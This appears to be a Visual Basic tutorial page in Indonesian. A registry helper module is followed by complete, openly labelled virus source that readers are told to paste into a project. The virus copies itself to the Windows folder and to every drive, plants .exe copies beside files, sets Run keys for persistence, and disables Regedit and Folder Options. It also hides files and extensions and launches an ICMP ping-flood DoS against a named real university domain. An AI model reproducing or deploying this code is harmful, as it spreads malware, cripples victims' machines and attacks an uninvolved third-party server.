Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _
    "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _
    String, ByVal ulOptions As Long, ByVal samDesired As Long, _
    phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _
    Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias _
    "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
    String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias _
    "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
    String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _
    "RegQueryValueExA" (ByVal hKey As Long, ByVal _
    lpValueName As String, ByVal lpReserved As Long, lpType As _
    Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _
    hKey As Long, ByVal lpValueName As String, ByVal _
    lpReserved As Long, lpType As Long, ByRef lpData As Long, _
    lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
    "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
    As String, ByVal Reserved As Long, ByVal dwType As Long, _
    ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal _
    hKey As Long, ByVal lpValueName As String, ByVal Reserved _
    As Long, ByVal dwType As Long, ByRef lpData As Long, _
    ByVal cbData As Long) As Long
Declare Function RegSetValueExB Lib "advapi32.dll" Alias _
    "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
    As String, ByVal Reserved As Long, ByVal dwType As Long, _
    ByRef lpData As Byte, ByVal cbData As Long) As Long
Public Declare Function RegReplaceKey Lib "advapi32.dll" Alias _
    "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
    String, ByVal lpNewFile As String, ByVal lpOldFile As String) _
    As Long

Const ERROR_SUCCESS = 0&
Const ERROR_BADDB = 1009&
Const ERROR_BADKEY = 1010&
Const ERROR_CANTOPEN = 1011&
Const ERROR_CANTREAD = 1012&
Const ERROR_CANTWRITE = 1013&
Const ERROR_OUTOFMEMORY = 14&
Const ERROR_INVALID_PARAMETER = 87&
Const ERROR_ACCESS_DENIED = 5&
Const ERROR_NO_MORE_ITEMS = 259&
Const ERROR_MORE_DATA = 234&

Const REG_NONE = 0&
Const REG_SZ = 1&
Const REG_EXPAND_SZ = 2&
Const REG_BINARY = 3&
Const REG_DWORD = 4&
Const REG_DWORD_LITTLE_ENDIAN = 4&
Const REG_DWORD_BIG_ENDIAN = 5&
Const REG_LINK = 6&
Const REG_MULTI_SZ = 7&
Const REG_RESOURCE_LIST = 8&
Const REG_FULL_RESOURCE_DESCRIPTOR = 9&
Const REG_RESOURCE_REQUIREMENTS_LIST = 10&

Const KEY_QUERY_VALUE = &H1&
Const KEY_SET_VALUE = &H2&
Const KEY_CREATE_SUB_KEY = &H4&
Const KEY_ENUMERATE_SUB_KEYS = &H8&
Const KEY_NOTIFY = &H10&
Const KEY_CREATE_LINK = &H20&
Const READ_CONTROL = &H20000
Const WRITE_DAC = &H40000
Const WRITE_OWNER = &H80000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const STANDARD_RIGHTS_READ = READ_CONTROL
Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Const KEY_READ = STANDARD_RIGHTS_READ Or _
    KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _
    Or KEY_NOTIFY
Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or _
    KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
Const KEY_EXECUTE = KEY_READ

Dim hKey As Long, MainKeyHandle As Long
Dim rtn As Long, lBuffer As Long, sBuffer As String
Dim lBufferSize As Long
Dim lDataSize As Long
Dim ByteArray() As Byte

Const DisplayErrorMsg = False

Function SetDWORDValue(SubKey As String, Entry As String, value As Long)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
    hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4)
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Public Function DeleteKeyValue(ByVal sKeyName As String, _
    ByVal sValueName As String)
DeleteKeyValue = False
Dim hKey As Long
Call ParseKey(sKeyName, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _
    KEY_WRITE, hKey)
If (rtn = ERROR_SUCCESS) Then
rtn = RegDeleteValue(hKey, sValueName)
If (rtn <> ERROR_SUCCESS) Then
Else
DeleteKeyValue = True
End If
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function GetDWORDValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
    hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
GetDWORDValue = lBuffer
Else
GetDWORDValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetDWORDValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function SetBinaryValue(SubKey As String, Entry As String, value _
    As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
    hKey)
If rtn = ERROR_SUCCESS Then
lDataSize = Len(value)
ReDim ByteArray(lDataSize)
For i = 1 To lDataSize
ByteArray(i) = Asc(Mid$(value, i, 1))
Next
rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _
    ByteArray(1), lDataSize)
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function GetBinaryValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
    hKey)
If rtn = ERROR_SUCCESS Then
lBufferSize = 1
rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _
    lBufferSize)
sBuffer = Space(lBufferSize)
rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _
    lBufferSize)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
GetBinaryValue = sBuffer
Else
GetBinaryValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetBinaryValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function DeleteKey(Keyname As String)
Call ParseKey(Keyname, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _
    KEY_WRITE, hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegDeleteKey(hKey, Keyname)
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function GetMainKeyHandle(MainKeyName As String) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
Select Case MainKeyName
Case "HKEY_CLASSES_ROOT"
GetMainKeyHandle = HKEY_CLASSES_ROOT
Case "HKEY_CURRENT_USER"
GetMainKeyHandle = HKEY_CURRENT_USER
Case "HKEY_LOCAL_MACHINE"
GetMainKeyHandle = HKEY_LOCAL_MACHINE
Case "HKEY_USERS"
GetMainKeyHandle = HKEY_USERS
Case "HKEY_PERFORMANCE_DATA"
GetMainKeyHandle = HKEY_PERFORMANCE_DATA
Case "HKEY_CURRENT_CONFIG"
GetMainKeyHandle = HKEY_CURRENT_CONFIG
Case "HKEY_DYN_DATA"
GetMainKeyHandle = HKEY_DYN_DATA
End Select
End Function

Function ErrorMsg(lErrorCode As Long) As String
Select Case lErrorCode
Case 1009, 1015
GetErrorMsg = "The Registry Database is corrupt!"
Case 2, 1010
GetErrorMsg = "Bad Key Name"
Case 1011
GetErrorMsg = "Can't Open Key"
Case 4, 1012
GetErrorMsg = "Can't Read Key"
Case 5
GetErrorMsg = "Access to this key is denied"
Case 1013
GetErrorMsg = "Can't Write Key"
Case 8, 14
GetErrorMsg = "Out of memory"
Case 87
GetErrorMsg = "Invalid Parameter"
Case 234
GetErrorMsg = "There is more data than the buffer has been " & _
    "allocated to hold."
Case Else
GetErrorMsg = "Undefined Error Code:  " & Str$(lErrorCode)
End Select
End Function

Function GetStringValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
    hKey)
If rtn = ERROR_SUCCESS Then
sBuffer = Space(255)
lBufferSize = Len(sBuffer)
rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _
    lBufferSize)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
sBuffer = Trim(sBuffer)
GetStringValue = Left(sBuffer, Len(sBuffer) - 1)
Else
GetStringValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetStringValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Private Sub ParseKey(Keyname As String, Keyhandle As Long)
rtn = InStr(Keyname, "\")
If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then
MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname
Exit Sub
ElseIf rtn = 0 Then
Keyhandle = GetMainKeyHandle(Keyname)
Keyname = ""
Else
Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1))
Keyname = Right(Keyname, Len(Keyname) - rtn)
End If
End Sub

Function CreateKey(SubKey As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegCreateKey(MainKeyHandle, SubKey, hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function SetStringValue(SubKey As String, Entry As String, value _
    As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
    hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _
    Len(value))
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Public Function hex2ascii(ByVal hextext As String) As String
On Error Resume Next
Dim Y As Integer
Dim num As String
Dim value As String
For Y = 1 To Len(hextext)
num = Mid(hextext, Y, 2)
value = value & Chr(Val("&h" & num))
Y = Y + 1
Next Y
hex2ascii = value
End Function

Function SetHexValue(SubKey As String, Entry As String, _
    value As String)
SetBinaryValue SubKey, Entry, hex2ascii(value)
End Function

SOURCE CODE VIRUS1

Source code dibawah ini adalah program virus
silahkan anda pelajari lebih dalam
1. Bukalah 1 project
2 Tambahkan 1 Module

Copy coding dibawah ini dan paste di Editor Module:

Option Explicit
'////////////////deklarasi Kode manipulasi dan pencarian////////////////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
        dwFileAttributes As Long
        ftCreationTime As FILETIME
        ftLastAccessTime As FILETIME
        ftLastWriteTime As FILETIME
        nFileSizeHigh As Long
        nFileSizeLow As Long
        dwReserved0 As Long
        dwReserved1 As Long
        cFileName As String * MAX_PATH
        cAlternate As String * 14
End Type


Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
    (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
    (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
    
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long


Private pbMessage As Boolean
'////////////////akhir deklarasi Kode manipulasi dan pencarian////////////////////

'////////////////awal Kode penggandaan////////////////////
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'////////////////akhir Kode penggandaan////////////////////

'////////////////awal Kode pesan sponsor////////////////////
Public buffer As String * 255
Public x As Long
'////////////////akhir Kode pesan sponsor////////////////////

'///////////////awal deklarasi kode DoS attack//////////////
Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)
Public Const IP_PARAM_PROBLEM = (11000 + 15)
Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const PING_TIMEOUT = 500

Public Const MAX_WSADescription = 256
Public Const MAX_WSASYSStatus = 128
Public Const ERROR_SUCCESS       As Long = 0
Public Const WS_VERSION_REQD     As Long = &H101
Public Const WS_VERSION_MAJOR    As Long = _
    WS_VERSION_REQD \ &H100 And &HFF&
Public Const WS_VERSION_MINOR    As Long = _
   WS_VERSION_REQD And &HFF&
Public Const MIN_SOCKETS_REQD    As Long = 1
Public Const SOCKET_ERROR        As Long = -1

Public Type ICMP_OPTIONS
    TTL             As Byte
    Tos             As Byte
    Flags           As Byte
    OptionsSize     As Byte
    OptionsData     As Long
End Type

Public Type ICMP_ECHO_REPLY
    Address         As Long
    status          As Long
    RoundTripTime   As Long
    DataSize        As Integer
    Reserved        As Integer
    DataPointer     As Long
    Options         As ICMP_OPTIONS
    Data            As String * 250
End Type

Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long

Public Declare Function IcmpCloseHandle Lib "icmp.dll" _
   (ByVal IcmpHandle As Long) As Long
   
Public Declare Function IcmpSendEcho Lib "icmp.dll" _
   (ByVal IcmpHandle As Long, _
    ByVal DestinationAddress As Long, _
    ByVal RequestData As String, _
    ByVal RequestSize As Integer, _
    RequestOptions As ICMP_OPTIONS, _
    ReplyBuffer As ICMP_ECHO_REPLY, _
    ByVal ReplySize As Long, _
    ByVal TimeOut As Long) As Long
'///////////////akhir deklarasi kode DoS attack//////////////


'////////////////awal Kode manipulasi dan pencarian////////////////////

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

    Screen.MousePointer = vbHourglass
    
    Dim WFD As WIN32_FIND_DATA
    Dim hFile As Long, fPath As String, fName As String
    
    fPath = AddBackslash(Path)
    
    Dim sPattern As String
    sPattern = Pattern
    fName = fPath & sPattern
    
  
    hFile = FindFirstFile(fName, WFD)
    If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
        CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
    End If
    
    If hFile > 0 Then
    While FindNextFile(hFile, WFD)
        If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
         CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
        End If
    Wend
    End If
    
    If SubFolder Then
        
   
        hFile = FindFirstFile(fPath & "*.*", WFD)
        If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
        StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
        
           GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
        End If
        
        While FindNextFile(hFile, WFD)
            If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
            StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then


                GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
            End If
        Wend
        
    End If
    FindClose hFile
    
    
    
    Screen.MousePointer = vbDefault
   
End Sub


Private Function StripNulls(f As String) As String

    StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function

Private Function AddBackslash(S As String) As String

    If Len(S) Then
       If Right$(S, 1) <> "\" Then
          AddBackslash = S & "\"
       Else
          AddBackslash = S
       End If
    Else
       AddBackslash = "\"
    End If
End Function

Sub pencarian()
GetFiles "c:", True, "*.cob"
        
    MsgBox "Pencarian selesai", 0, "Tes Cari"
End Sub
'////////////////akhir Kode manipulasi dan pencarian////////////////////

'////////////////awal Kode Pengganda////////////////////
Private Function DriveType(Drive As String) As String
''////fungsi mengecek drive
Dim sAns As String, lAns As Long

'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
    Then Drive = Drive & "\"

lAns = GetDriveType(Drive)
Select Case lAns
 Case 2
   sAns = "Removable Drive"
 Case 3
   sAns = "Fixed Drive"
 Case 4
    sAns = "Remote Drive"
 Case 5
    sAns = "CD-ROM"
 Case 6
    sAns = "RAM Disk"
 Case Else
    sAns = "Drive Doesn't Exist"
End Select

DriveType = sAns

End Function

Private Sub kodepengganda()
''///mengecek drive dan mengcopy file penanda
    Dim ictr As Integer
    Dim sDrive As String
    Dim x As Byte
    ReDim sDrives(0) As String
    Dim penanda As Byte
    
  
For ictr = 65 To 90
        sDrive = Chr(ictr) & ":\"
        
        If DriveType(sDrive) <> "Drive Doesn't Exist" Then
            On Error Resume Next
           penanda = Len(Chr(ictr & App.Path)) & "1234567890"
           'MsgBox penanda
           FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr & "koderangkaian.exe"
        End If
        'App.EXEName = penanda & ".exe"
Next

End Sub

Private Sub kopikewindows()
''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\tes_di_direktory_windows.exe"
End Sub
'////////////////akhir Kode Pengganda////////////////////

'////////////////awal Kode Pertahanan////////////////////
Public Sub CreateKey(Folder As String, Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value

End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"

End Sub

Public Sub DeleteKey(Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value

End Sub
Sub kodepertahanan()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1

CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2

CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0

'//////////Non aktifkan folder option////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
'//////////Kunci Regedit////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
'////////menyembunyikan extensi file//////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1

Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\tes_di_direktory_windows.exe" & titik

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test2", _
titik & "d:\tes.exe" & titik

End Sub
'////////////////akhir Kode Pertahanan////////////////////

'////////////////awal Kode pesan sponsor////////////////////
Public Sub Log(strLog As String)
Dim ff As Integer

ff = FreeFile
x = GetWindowsDirectory(buffer, 255)

On Error Resume Next
Open Left(buffer, x) & "\help.htm" For Output As #ff
Print #ff, strLog
Close #ff

End Sub

Sub pesansponsor()
Dim tt As String
tt = """"

Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & Left(buffer, x) & "/help.htm", vbNormalFocus
End Sub
'////////////////akhir Kode pesan sponsor////////////////////

'///////////////Awal Kode Dos Attack/////////////////////////
    Public Function Ping(szAddress As String, ECHO As ICMP_ECHO_REPLY, TTL As Integer) As Long

   Dim hPort As Long
   Dim dwAddress As Long
   Dim sDataToSend As String
   Dim iOpt As ICMP_OPTIONS
   Dim timeout_ping As Long
   
   sDataToSend = "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo"

   dwAddress = AddressStringToLong(szAddress)
   
   hPort = IcmpCreateFile()
   ECHO.Options.TTL = TTL
   iOpt.TTL = TTL
    If IcmpSendEcho(hPort, _
                   dwAddress, _
                   sDataToSend, _
                   Len(sDataToSend), _
                   iOpt, _
                   ECHO, _
                   Len(ECHO), _
                   timeout_ping) Then
        Ping = ECHO.RoundTripTime
   Else
        Ping = ECHO.status * -1
   End If
                       
   Call IcmpCloseHandle(hPort)
   
End Function

Public Function AddressStringToLong(ByVal tmp As String) As Long

   Dim i As Integer
   Dim parts(1 To 4) As String
   
   i = 0
   
   While InStr(tmp, ".") > 0
      i = i + 1
      parts(i) = Mid(tmp, 1, InStr(tmp, ".") - 1)
      tmp = Mid(tmp, InStr(tmp, ".") + 1)
   Wend
   
   i = i + 1
   parts(i) = tmp
   
   If i <> 4 Then
      AddressStringToLong = 0
      Exit Function
   End If
   
   AddressStringToLong = Val("&H" & Right("00" & Hex(parts(4)), 2) & _
                         Right("00" & Hex(parts(3)), 2) & _
                         Right("00" & Hex(parts(2)), 2) & _
                         Right("00" & Hex(parts(1)), 2))
   
End Function

Sub seranganDoS()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long

For angka = 1 To 65000
Call Ping("www.akprind.ac.id", ECHO, 30)
Next angka
End Sub
'///////////////Akhir Kode Dos Attack/////////////////////////

Sub Main()
kodepertahanan
kodepengganda
pencarian
pesansponsor
seranganDoS
End Sub